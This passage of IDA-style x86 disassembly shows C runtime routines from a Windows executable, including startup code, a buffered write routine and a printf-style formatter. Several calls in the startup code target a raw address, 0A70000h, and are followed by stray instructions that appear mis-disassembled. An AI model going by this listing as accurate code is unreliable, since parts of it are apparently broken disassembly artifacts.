or eax, 0FFFFFFFFh
jmp short loc_415B83
; ---------------------------------------------------------------------------
loc_415B14: ; CODE XREF: sub_415A89+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_415B1C: ; CODE XREF: sub_415A89+B3j
mov cl, [eax]
test cl, cl
jz short loc_415B3E
mov edx, ds:off_42D0F0
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_415B33
inc eax
loc_415B33: ; CODE XREF: sub_415A89+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_415B1C
loc_415B3E: ; CODE XREF: sub_415A89+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push ds:dword_45E8A8
call esi ; dword_41F12C
test eax, eax
jnz short loc_415B83
jmp short loc_415B05
; ---------------------------------------------------------------------------
loc_415B56: ; CODE XREF: sub_415A89+Fj
cmp ds:dword_45E898, esi
jnz short loc_415B69
push [ebp+arg_4]
call sub_413DB0
pop ecx
jmp short loc_415B83
; ---------------------------------------------------------------------------
loc_415B69: ; CODE XREF: sub_415A89+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push ds:dword_45E8A8
call ds:dword_41F12C ; MultiByteToWideChar
cmp eax, esi
jz short loc_415B05
loc_415B82: ; CODE XREF: sub_415A89+6Bj
dec eax
loc_415B83: ; CODE XREF: sub_415A89+1Aj
; sub_415A89+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_415A89 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_41F670
push offset sub_41AE98
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp-18h], esp
call ds:dword_41F160 ; GetVersion
xor edx, edx
mov dl, ah
mov ds:dword_45E81C, edx
mov ecx, eax
and ecx, 0FFh
mov ds:dword_45E818, ecx
shl ecx, 8
add ecx, edx
mov ds:dword_45E814, ecx
shr eax, 10h
mov ds:dword_45E810, eax
xor esi, esi
push esi
call sub_416B13
pop ecx
test eax, eax
jnz short loc_415BF4
push 1Ch
call sub_415CA3
pop ecx
loc_415BF4: ; CODE XREF: seg000:00415BEAj
mov [ebp-4], esi
call loc_41ACE2
call near ptr 0A70000h
inc eax
mov ds:dword_45FE64, eax
call sub_41ABB0
mov ds:dword_45E850, eax
call sub_41A963
call sub_41A8AA
call sub_41588A
mov [ebp-30h], esi
lea eax, [ebp-5Ch]
push eax
call near ptr 0A70000h
scasb
call sub_41A852
mov [ebp-64h], eax
test byte ptr [ebp-30h], 1
jz short loc_415C41
movzx eax, word ptr [ebp-2Ch]
jmp short loc_415C44
; ---------------------------------------------------------------------------
loc_415C41: ; CODE XREF: seg000:00415C39j
push 0Ah
pop eax
loc_415C44: ; CODE XREF: seg000:00415C3Fj
push eax
push dword ptr [ebp-64h]
push esi
push esi
call near ptr 0A70000h
hlt
; ---------------------------------------------------------------------------
push eax
call loc_40AB10
mov [ebp-60h], eax
push eax
call sub_4158B7
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-68h], ecx
push eax
push ecx
call sub_41A6CE
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_4158C8
; =============== S U B R O U T I N E =======================================
sub_415C7E proc near ; CODE XREF: sub_4148E2+16p
; sub_41A8AA+4Ep ...
arg_0 = dword ptr 4
cmp ds:dword_45E858, 1
jnz short loc_415C8C
call sub_41AF70
loc_415C8C: ; CODE XREF: sub_415C7E+7j
push [esp+arg_0]
call sub_41AFA9
push 0FFh
call ds:off_42D0E0
pop ecx
pop ecx
retn
sub_415C7E endp
; =============== S U B R O U T I N E =======================================
sub_415CA3 proc near ; CODE XREF: seg000:00415BEEp
arg_0 = dword ptr 4
cmp ds:dword_45E858, 1
jnz short loc_415CB1
call sub_41AF70
loc_415CB1: ; CODE XREF: sub_415CA3+7j
push [esp+arg_0]
call sub_41AFA9
pop ecx
push 0FFh
call ds:dword_41F104 ; ExitProcess
retn
sub_415CA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415CC7 proc near ; CODE XREF: sub_4135AD+46p
; sub_413B2A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_415DD0
test al, 40h
jnz loc_415DD0
test al, 1
jz short loc_415CFF
and dword ptr [esi+4], 0
test al, 10h
jz loc_415DD0
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_415CFF: ; CODE XREF: sub_415CC7+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_415D39
cmp esi, offset dword_42D808
jz short loc_415D27
cmp esi, offset dword_42D828
jnz short loc_415D32
loc_415D27: ; CODE XREF: sub_415CC7+56j
push ebx
call sub_41B140
test eax, eax
pop ecx
jnz short loc_415D39
loc_415D32: ; CODE XREF: sub_415CC7+5Ej
push esi
call sub_41B0FC
pop ecx
loc_415D39: ; CODE XREF: sub_415CC7+4Ej
; sub_415CC7+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_415DA6
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_415D69
push edi
push eax
push ebx
call sub_41A4BA
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_415D9C
; ---------------------------------------------------------------------------
loc_415D69: ; CODE XREF: sub_415CC7+90j
cmp ebx, 0FFFFFFFFh
jz short loc_415D84
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, ds:dword_45FB20[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_415D89
; ---------------------------------------------------------------------------
loc_415D84: ; CODE XREF: sub_415CC7+A5j
mov eax, offset dword_42D750
loc_415D89: ; CODE XREF: sub_415CC7+BBj
test byte ptr [eax+4], 20h
jz short loc_415D9C
push 2
push 0
push ebx
call sub_419C0F
add esp, 0Ch
loc_415D9C: ; CODE XREF: sub_415CC7+A0j
; sub_415CC7+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_415DBA
; ---------------------------------------------------------------------------
loc_415DA6: ; CODE XREF: sub_415CC7+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41A4BA
add esp, 0Ch
mov [ebp+arg_4], eax
loc_415DBA: ; CODE XREF: sub_415CC7+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_415DC6
or dword ptr [esi+0Ch], 20h
jmp short loc_415DD5
; ---------------------------------------------------------------------------
loc_415DC6: ; CODE XREF: sub_415CC7+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_415DD8
; ---------------------------------------------------------------------------
loc_415DD0: ; CODE XREF: sub_415CC7+10j
; sub_415CC7+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_415DD5: ; CODE XREF: sub_415CC7+FDj
or eax, 0FFFFFFFFh
loc_415DD8: ; CODE XREF: sub_415CC7+107j
pop esi
pop ebx
pop ebp
retn
sub_415CC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415DDC proc near ; CODE XREF: sub_4135AD+29p
; sub_413B2A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_4164F5
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_415E10
; ---------------------------------------------------------------------------
loc_415E08: ; CODE XREF: sub_415DDC+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_415E10: ; CODE XREF: sub_415DDC+2Aj
cmp [ebp+var_14], edx
jl loc_4164F5
cmp bl, 20h
jl short loc_415E31
cmp bl, 78h
jg short loc_415E31
movsx eax, bl
mov al, [eax+41F65Ch]
and eax, 0Fh
jmp short loc_415E33
; ---------------------------------------------------------------------------
loc_415E31: ; CODE XREF: sub_415DDC+40j
; sub_415DDC+45j
xor eax, eax
loc_415E33: ; CODE XREF: sub_415DDC+53j
movsx eax, ds:byte_41F67C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_4164E4 ; default
jmp ds:off_4164FD[eax*4] ; switch jump
loc_415E51: ; DATA XREF: seg000:off_4164FDo
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00415E4A case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415E6C: ; CODE XREF: sub_415DDC+6Ej
; DATA XREF: seg000:off_4164FDo
movsx eax, bl ; jumptable 00415E4A case 2
sub eax, 20h
jz short loc_415EAF
sub eax, 3
jz short loc_415EA6
sub eax, 8
jz short loc_415E9D
dec eax
dec eax
jz short loc_415E94
sub eax, 3
jnz loc_4164E4 ; default
or [ebp+var_4], 8
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415E94: ; CODE XREF: sub_415DDC+A4j
or [ebp+var_4], 4
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415E9D: ; CODE XREF: sub_415DDC+A0j
or [ebp+var_4], 1
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415EA6: ; CODE XREF: sub_415DDC+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415EAF: ; CODE XREF: sub_415DDC+96j
or [ebp+var_4], 2
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415EB8: ; CODE XREF: sub_415DDC+6Ej
; DATA XREF: seg000:off_4164FDo
cmp bl, 2Ah ; jumptable 00415E4A case 3
jnz short loc_415EE0
lea eax, [ebp+arg_8]
push eax
call sub_4165BB
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_4164E4 ; default
or [ebp+var_4], 4
neg eax
loc_415ED8: ; CODE XREF: sub_415DDC+111j
mov [ebp+var_20], eax
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415EE0: ; CODE XREF: sub_415DDC+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_415ED8
; ---------------------------------------------------------------------------
loc_415EEF: ; CODE XREF: sub_415DDC+6Ej
; DATA XREF: seg000:off_4164FDo
mov [ebp+var_10], edx ; jumptable 00415E4A case 4
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415EF7: ; CODE XREF: sub_415DDC+6Ej
; DATA XREF: seg000:off_4164FDo
cmp bl, 2Ah ; jumptable 00415E4A case 5
jnz short loc_415F1A
lea eax, [ebp+arg_8]
push eax
call sub_4165BB
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_4164E4 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415F1A: ; CODE XREF: sub_415DDC+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415F2C: ; CODE XREF: sub_415DDC+6Ej
; DATA XREF: seg000:off_4164FDo
cmp bl, 49h ; jumptable 00415E4A case 6
jz short loc_415F5F
cmp bl, 68h
jz short loc_415F56
cmp bl, 6Ch
jz short loc_415F4D
cmp bl, 77h
jnz loc_4164E4 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415F4D: ; CODE XREF: sub_415DDC+15Dj
or [ebp+var_4], 10h
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415F56: ; CODE XREF: sub_415DDC+158j
or [ebp+var_4], 20h
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415F5F: ; CODE XREF: sub_415DDC+153j
cmp byte ptr [edi], 36h
jnz short loc_415F78
cmp byte ptr [edi+1], 34h
jnz short loc_415F78
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415F78: ; CODE XREF: sub_415DDC+186j
; sub_415DDC+18Cj
mov [ebp+var_30], edx
loc_415F7B: ; CODE XREF: sub_415DDC+6Ej
; DATA XREF: seg000:off_4164FDo
mov ecx, ds:off_42D0F0 ; jumptable 00415E4A case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_415FA7
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41651D
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_415FA7: ; CODE XREF: sub_415DDC+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41651D
add esp, 0Ch
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_415FBF: ; CODE XREF: sub_415DDC+6Ej
; DATA XREF: seg000:off_4164FDo
movsx eax, bl ; jumptable 00415E4A case 7
cmp eax, 67h
jg loc_4161E7
cmp eax, 65h
jge loc_41606A
cmp eax, 58h
jg loc_4160C8
jz loc_41625B
sub eax, 43h
jz loc_41608B
dec eax
dec eax
jz short loc_416060
dec eax
dec eax
jz short loc_416060
sub eax, 0Ch
jnz loc_4163E6
test word ptr [ebp+var_4], 830h
jnz short loc_416009
or byte ptr [ebp+var_4+1], 8
loc_416009: ; CODE XREF: sub_415DDC+227j
; sub_415DDC+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_416016
mov esi, 7FFFFFFFh
loc_416016: ; CODE XREF: sub_415DDC+233j
lea eax, [ebp+arg_8]
push eax
call sub_4165BB
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41622F
test ecx, ecx
jnz short loc_41603E
mov ecx, ds:off_42D0EC
mov [ebp+var_8], ecx
loc_41603E: ; CODE XREF: sub_415DDC+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_416047: ; CODE XREF: sub_415DDC+282j
mov edx, esi
dec esi
test edx, edx
jz loc_416226
cmp word ptr [eax], 0
jz loc_416226
inc eax
inc eax
jmp short loc_416047
; ---------------------------------------------------------------------------
loc_416060: ; CODE XREF: sub_415DDC+212j
; sub_415DDC+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41606A: ; CODE XREF: sub_415DDC+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41614E
mov [ebp+var_10], 6
jmp loc_41615C
; ---------------------------------------------------------------------------
loc_41608B: ; CODE XREF: sub_415DDC+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_416097
or byte ptr [ebp+var_4+1], 8
loc_416097: ; CODE XREF: sub_415DDC+2B5j
; sub_415DDC+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_4160DE
call sub_4165D8
push eax
lea eax, [ebp+var_248]
push eax
call sub_41B21F
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_4160F1
mov [ebp+var_28], 1
jmp short loc_4160F1
; ---------------------------------------------------------------------------
loc_4160C8: ; CODE XREF: sub_415DDC+1FBj
sub eax, 5Ah
jz short loc_4160FF
sub eax, 9
jz short loc_416097
dec eax
jz loc_4162C1
jmp loc_4163E6
; ---------------------------------------------------------------------------
loc_4160DE: ; CODE XREF: sub_415DDC+2C5j
call sub_4165BB
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_4160F1: ; CODE XREF: sub_415DDC+2E1j
; sub_415DDC+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_4163E6
; ---------------------------------------------------------------------------
loc_4160FF: ; CODE XREF: sub_415DDC+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_4165BB
test eax, eax
pop ecx
jz short loc_416140
mov ecx, [eax+4]
test ecx, ecx
jz short loc_416140
test byte ptr [ebp+var_4+1], 8
jz short loc_416131
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_4163E6
; ---------------------------------------------------------------------------
loc_416131: ; CODE XREF: sub_415DDC+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_4163E3
; ---------------------------------------------------------------------------
loc_416140: ; CODE XREF: sub_415DDC+32Fj
; sub_415DDC+336j
mov eax, ds:off_42D0E8
mov [ebp+var_8], eax
push eax
jmp loc_4161DC
; ---------------------------------------------------------------------------
loc_41614E: ; CODE XREF: sub_415DDC+29Dj
jnz short loc_41615C
cmp bl, 67h
jnz short loc_41615C
mov [ebp+var_10], 1
loc_41615C: ; CODE XREF: sub_415DDC+2AAj
; sub_415DDC:loc_41614Ej ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call ds:off_42D428
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_4161AE
cmp [ebp+var_10], 0
jnz short loc_4161AE
lea eax, [ebp+var_248]
push eax
call ds:off_42D434
pop ecx
loc_4161AE: ; CODE XREF: sub_415DDC+3BCj
; sub_415DDC+3C2j
cmp bl, 67h
jnz short loc_4161C5
test esi, esi
jnz short loc_4161C5
lea eax, [ebp+var_248]
push eax
call ds:off_42D42C
pop ecx
loc_4161C5: ; CODE XREF: sub_415DDC+3D5j
; sub_415DDC+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_4161DB
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_4161DB: ; CODE XREF: sub_415DDC+3F0j
push edi
loc_4161DC: ; CODE XREF: sub_415DDC+36Dj
call sub_413DB0
pop ecx
jmp loc_4163E3
; ---------------------------------------------------------------------------
loc_4161E7: ; CODE XREF: sub_415DDC+1E9j
sub eax, 69h
jz loc_4162C1
sub eax, 5
jz loc_416297
dec eax
jz loc_416284
dec eax
jz short loc_416254
sub eax, 3
jz loc_416009
dec eax
dec eax
jz loc_4162C5
sub eax, 3
jnz loc_4163E6
mov [ebp+var_2C], 27h
jmp short loc_416262
; ---------------------------------------------------------------------------
loc_416226: ; CODE XREF: sub_415DDC+270j
; sub_415DDC+27Aj
sub eax, ecx
sar eax, 1
jmp loc_4163E3
; ---------------------------------------------------------------------------
loc_41622F: ; CODE XREF: sub_415DDC+24Fj
test ecx, ecx
jnz short loc_41623C
mov ecx, ds:off_42D0E8
mov [ebp+var_8], ecx
loc_41623C: ; CODE XREF: sub_415DDC+455j
mov eax, ecx
loc_41623E: ; CODE XREF: sub_415DDC+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41624D
cmp byte ptr [eax], 0
jz short loc_41624D
inc eax
jmp short loc_41623E
; ---------------------------------------------------------------------------
loc_41624D: ; CODE XREF: sub_415DDC+467j
; sub_415DDC+46Cj
sub eax, ecx
jmp loc_4163E3
; ---------------------------------------------------------------------------
loc_416254: ; CODE XREF: sub_415DDC+425j
mov [ebp+var_10], 8
loc_41625B: ; CODE XREF: sub_415DDC+201j
mov [ebp+var_2C], 7
loc_416262: ; CODE XREF: sub_415DDC+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_4162CC
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_4162CC
; ---------------------------------------------------------------------------
loc_416284: ; CODE XREF: sub_415DDC+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_4162CC
or byte ptr [ebp+var_4+1], 2
jmp short loc_4162CC
; ---------------------------------------------------------------------------
loc_416297: ; CODE XREF: sub_415DDC+417j
lea eax, [ebp+arg_8]
push eax
call sub_4165BB
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_4162B0
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_4162B5
; ---------------------------------------------------------------------------
loc_4162B0: ; CODE XREF: sub_415DDC+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_4162B5: ; CODE XREF: sub_415DDC+4D2j
mov [ebp+var_28], 1
jmp loc_4164E4 ; default
; ---------------------------------------------------------------------------
loc_4162C1: ; CODE XREF: sub_415DDC+2F7j
; sub_415DDC+40Ej
or [ebp+var_4], 40h
loc_4162C5: ; CODE XREF: sub_415DDC+432j
mov [ebp+var_C], 0Ah
loc_4162CC: ; CODE XREF: sub_415DDC+491j
; sub_415DDC+4A6j ...
test byte ptr [ebp+var_4+1], 80h
jz short loc_4162DE
lea eax, [ebp+arg_8]
push eax
call sub_4165C8
pop ecx
jmp short loc_41631F
; ---------------------------------------------------------------------------
loc_4162DE: ; CODE XREF: sub_415DDC+4F4j
test byte ptr [ebp+var_4], 20h
jz short loc_416305
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_4162FA
call sub_4165BB
pop ecx
movsx eax, ax
loc_4162F7: ; CODE XREF: sub_415DDC+527j
; sub_415DDC+539j
cdq
jmp short loc_41631F
; ---------------------------------------------------------------------------
loc_4162FA: ; CODE XREF: sub_415DDC+510j
call sub_4165BB
pop ecx
movzx eax, ax
jmp short loc_4162F7
; ---------------------------------------------------------------------------
loc_416305: ; CODE XREF: sub_415DDC+506j
test byte ptr [ebp+var_4], 40h
lea eax, [ebp+arg_8]
push eax
jz short loc_416317
call sub_4165BB
pop ecx
jmp short loc_4162F7
; ---------------------------------------------------------------------------
loc_416317: ; CODE XREF: sub_415DDC+531j
call sub_4165BB
pop ecx
xor edx, edx
loc_41631F: ; CODE XREF: sub_415DDC+500j
; sub_415DDC+51Cj
test byte ptr [ebp+var_4], 40h
jz short loc_416340
test edx, edx
jg short loc_416340
jl short loc_41632F
test eax, eax
jnb short loc_416340
loc_41632F: ; CODE XREF: sub_415DDC+54Dj
neg eax
adc edx, 0
mov esi, eax
neg edx
or byte ptr [ebp+var_4+1], 1
mov edi, edx
jmp short loc_416344
; ---------------------------------------------------------------------------
loc_416340: ; CODE XREF: sub_415DDC+547j
; sub_415DDC+54Bj ...
mov esi, eax
mov edi, edx
loc_416344: ; CODE XREF: sub_415DDC+562j
test byte ptr [ebp+var_4+1], 80h
jnz short loc_41634D
and edi, 0
loc_41634D: ; CODE XREF: sub_415DDC+56Cj
cmp [ebp+var_10], 0
jge short loc_41635C
mov [ebp+var_10], 1
jmp short loc_416360
; ---------------------------------------------------------------------------
loc_41635C: ; CODE XREF: sub_415DDC+575j
and [ebp+var_4], 0FFFFFFF7h
loc_416360: ; CODE XREF: sub_415DDC+57Ej
mov eax, esi
or eax, edi
jnz short loc_41636A
and [ebp+var_1C], 0
loc_41636A: ; CODE XREF: sub_415DDC+588j
lea eax, [ebp+var_49]
mov [ebp+var_8], eax
loc_416370: ; CODE XREF: sub_415DDC+5DDj
mov eax, [ebp+var_10]
dec [ebp+var_10]
test eax, eax
jg short loc_416380
mov eax, esi
or eax, edi
jz short loc_4163BB
loc_416380: ; CODE XREF: sub_415DDC+59Cj
mov eax, [ebp+var_C]
cdq
push edx
push eax
push edi
push esi
mov [ebp+var_40], eax
mov [ebp+var_3C], edx
call sub_4152F0
push [ebp+var_3C]
mov ebx, eax
add ebx, 30h
push [ebp+var_40]
push edi
push esi
call sub_415370
cmp ebx, 39h
mov esi, eax
mov edi, edx
jle short loc_4163B1
add ebx, [ebp+var_2C]
loc_4163B1: ; CODE XREF: sub_415DDC+5D0j
mov eax, [ebp+var_8]
dec [ebp+var_8]
mov [eax], bl
jmp short loc_416370
; ---------------------------------------------------------------------------
loc_4163BB: ; CODE XREF: sub_415DDC+5A2j
lea eax, [ebp+var_49]
sub eax, [ebp+var_8]
inc [ebp+var_8]
test byte ptr [ebp+var_4+1], 2
mov [ebp+var_C], eax
jz short loc_4163E6
mov ecx, [ebp+var_8]
cmp byte ptr [ecx], 30h
jnz short loc_4163D9
test eax, eax
jnz short loc_4163E6
loc_4163D9: ; CODE XREF: sub_415DDC+5F7j
dec [ebp+var_8]
inc eax
mov ecx, [ebp+var_8]
mov byte ptr [ecx], 30h
loc_4163E3: ; CODE XREF: sub_415DDC+35Fj
; sub_415DDC+406j ...
mov [ebp+var_C], eax
loc_4163E6: ; CODE XREF: sub_415DDC+21Bj
; sub_415DDC+2FDj ...
cmp [ebp+var_28], 0
jnz loc_4164E4 ; default
mov ebx, [ebp+var_4]
test bl, 40h
jz short loc_41641E
test bh, 1
jz short loc_416403
mov [ebp+var_16], 2Dh
jmp short loc_416417
; ---------------------------------------------------------------------------
loc_416403: ; CODE XREF: sub_415DDC+61Fj
test bl, 1
jz short loc_41640E
mov [ebp+var_16], 2Bh
jmp short loc_416417
; ---------------------------------------------------------------------------
loc_41640E: ; CODE XREF: sub_415DDC+62Aj
test bl, 2
jz short loc_41641E
mov [ebp+var_16], 20h
loc_416417: ; CODE XREF: sub_415DDC+625j
; sub_415DDC+630j
mov [ebp+var_1C], 1
loc_41641E: ; CODE XREF: sub_415DDC+61Aj
; sub_415DDC+635j
mov esi, [ebp+var_20]
sub esi, [ebp+var_1C]
sub esi, [ebp+var_C]
test bl, 0Ch
jnz short loc_41643E
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_416552
add esp, 10h
loc_41643E: ; CODE XREF: sub_415DDC+64Ej
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_16]
push [ebp+arg_0]
push [ebp+var_1C]
push eax
call sub_416583
add esp, 10h
test bl, 8
jz short loc_416470
test bl, 4
jnz short loc_416470
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 30h
call sub_416552
add esp, 10h
loc_416470: ; CODE XREF: sub_415DDC+67Bj
; sub_415DDC+680j
cmp [ebp+var_24], 0
jz short loc_4164B7
cmp [ebp+var_C], 0
jle short loc_4164B7
mov eax, [ebp+var_C]
mov ebx, [ebp+var_8]
lea edi, [eax-1]
loc_416485: ; CODE XREF: sub_415DDC+6D7j
mov ax, [ebx]
inc ebx
push eax
lea eax, [ebp+var_38]
push eax
inc ebx
call sub_41B21F
pop ecx
test eax, eax
pop ecx
jle short loc_4164CC
lea ecx, [ebp+var_14]
push ecx
push [ebp+arg_0]
push eax
lea eax, [ebp+var_38]
push eax
call sub_416583
add esp, 10h
mov eax, edi
dec edi
test eax, eax
jnz short loc_416485
jmp short loc_4164CC
; ---------------------------------------------------------------------------
loc_4164B7: ; CODE XREF: sub_415DDC+698j
; sub_415DDC+69Ej
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push [ebp+var_C]
push [ebp+var_8]
call sub_416583
add esp, 10h
loc_4164CC: ; CODE XREF: sub_415DDC+6BCj
; sub_415DDC+6D9j
test byte ptr [ebp+var_4], 4
jz short loc_4164E4 ; default
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
push esi
push 20h
call sub_416552
add esp, 10h
loc_4164E4: ; CODE XREF: sub_415DDC+68j
; sub_415DDC+8Bj ...
mov edi, [ebp+arg_4] ; default
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+arg_4], edi
jnz loc_415E08
loc_4164F5: ; CODE XREF: sub_415DDC+1Fj
; sub_415DDC+37j
mov eax, [ebp+var_14]
pop edi
pop esi
pop ebx
leave
retn
sub_415DDC endp
; ---------------------------------------------------------------------------
off_4164FD dd offset loc_415F7B ; DATA XREF: sub_415DDC+6Er
dd offset loc_415E51 ; jump table for switch statement
dd offset loc_415E6C
dd offset loc_415EB8
dd offset loc_415EEF
dd offset loc_415EF7
dd offset loc_415F2C
dd offset loc_415FBF
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41651D proc near ; CODE XREF: sub_415DDC+1BDp
; sub_415DDC+1D6p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
